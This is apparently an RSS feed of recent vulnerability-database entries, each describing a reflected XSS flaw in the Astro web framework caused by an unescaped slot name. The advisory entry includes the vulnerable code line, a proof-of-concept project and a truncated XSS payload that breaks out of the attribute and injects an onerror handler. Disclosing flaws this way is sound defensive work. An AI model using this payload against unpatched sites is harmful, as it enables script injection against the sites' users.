<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 28 Sep 2026 16:50:36 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-50146</title>
      <link>https://db.gcve.eu/vuln/fkie_cve-2026-50146</link>
      <description>&lt;p&gt;Astro is a web framework. Prior to 6.3.3, when a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Astro is a web framework. Prior to 6.3.3, when a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This vulnerability is fixed in 6.3.3.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/fkie_cve-2026-50146</guid>
    </item>
    <item>
      <title>GHSA-8hv8-536x-4wqp — Astro: Reflected XSS via unescaped slot name</title>
      <link>https://db.gcve.eu/vuln/ghsa-8hv8-536x-4wqp</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: astro&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;When a component uses a `client:*` directive, Astro inserts named slot content into a `data-astro-template` attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.&lt;/p&gt;
&lt;p&gt;This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.&lt;/p&gt;
&lt;p&gt;## Vulnerable Code&lt;/p&gt;
&lt;p&gt;`packages/astro/src/runtime/server/render/component.ts:371:376`&lt;/p&gt;
&lt;p&gt;```ts
// component.ts:371
`&amp;lt;template data-astro-template${key !== &amp;#39;default&amp;#39; ? `=&amp;#34;${key}&amp;#34;` : &amp;#39;&amp;#39;}&amp;gt;${children[key]}&amp;lt;/template&amp;gt;`
```&lt;/p&gt;
&lt;p&gt;I found that key is interpolated directly into the attribute value without proper escaping.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.&lt;/p&gt;
&lt;p&gt;**`astro.config.mjs`**
```js
import react from &amp;#39;@astrojs/react&amp;#39;;
import node from &amp;#39;@astrojs/node&amp;#39;;
import { defineConfig } from &amp;#39;astro/config&amp;#39;;
export default defineConfig({
  output: &amp;#39;server&amp;#39;,
  adapter: node({ mode: &amp;#39;standalone&amp;#39; }),
  integrations: [react()],
});
```&lt;/p&gt;
&lt;p&gt;**`src/pages/index.astro`**
```astro
---
import Wrapper from &amp;#39;../components/Wrapper.jsx&amp;#39;;
const slotName = Astro.url.searchParams.get(&amp;#39;tab&amp;#39;) ?? &amp;#39;default&amp;#39;;
---
&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;
  &amp;lt;Wrapper client:load&amp;gt;
    &amp;lt;div slot={slotName}&amp;gt;content&amp;lt;/div&amp;gt;
  &amp;lt;/Wrapper&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
```&lt;/p&gt;
&lt;p&gt;**`src/components/Wrapper.jsx`**
```jsx
export default function Wrapper() { return null; }
```&lt;/p&gt;
&lt;p&gt;**Payload:**
```
abc&amp;#34;&amp;gt;&amp;lt;/template&amp;gt;&amp;lt;/astro-island&amp;gt;&amp;lt;img src=x onerror=confirm(d…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: astro&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;When a component uses a `client:*` directive, Astro inserts named slot content into a `data-astro-template` attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.&lt;/p&gt;
&lt;p&gt;This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.&lt;/p&gt;
&lt;p&gt;## Vulnerable Code&lt;/p&gt;
&lt;p&gt;`packages/astro/src/runtime/server/render/component.ts:371:376`&lt;/p&gt;
&lt;p&gt;```ts
// component.ts:371
`&amp;lt;template data-astro-template${key !== &amp;#39;default&amp;#39; ? `=&amp;#34;${key}&amp;#34;` : &amp;#39;&amp;#39;}&amp;gt;${children[key]}&amp;lt;/template&amp;gt;`
```&lt;/p&gt;
&lt;p&gt;I found that key is interpolated directly into the attribute value without proper escaping.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.&lt;/p&gt;
&lt;p&gt;**`astro.config.mjs`**
```js
import react from &amp;#39;@astrojs/react&amp;#39;;
import node from &amp;#39;@astrojs/node&amp;#39;;
import { defineConfig } from &amp;#39;astro/config&amp;#39;;
export default defineConfig({
  output: &amp;#39;server&amp;#39;,
  adapter: node({ mode: &amp;#39;standalone&amp;#39; }),
  integrations: [react()],
});
```&lt;/p&gt;
&lt;p&gt;**`src/pages/index.astro`**
```astro
---
import Wrapper from &amp;#39;../components/Wrapper.jsx&amp;#39;;
const slotName = Astro.url.searchParams.get(&amp;#39;tab&amp;#39;) ?? &amp;#39;default&amp;#39;;
---
&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;
  &amp;lt;Wrapper client:load&amp;gt;
    &amp;lt;div slot={slotName}&amp;gt;content&amp;lt;/div&amp;gt;
  &amp;lt;/Wrapper&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
```&lt;/p&gt;
&lt;p&gt;**`src/components/Wrapper.jsx`**
```jsx
export default function Wrapper() { return null; }
```&lt;/p&gt;
&lt;p&gt;**Payload:**
```
abc&amp;#34;&amp;gt;&amp;lt;/template&amp;gt;&amp;lt;/astro-island&amp;gt;&amp;lt;img src=x onerror=confirm(d…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-8hv8-536x-4wqp</guid>
    </item>
  </channel>
</rss>
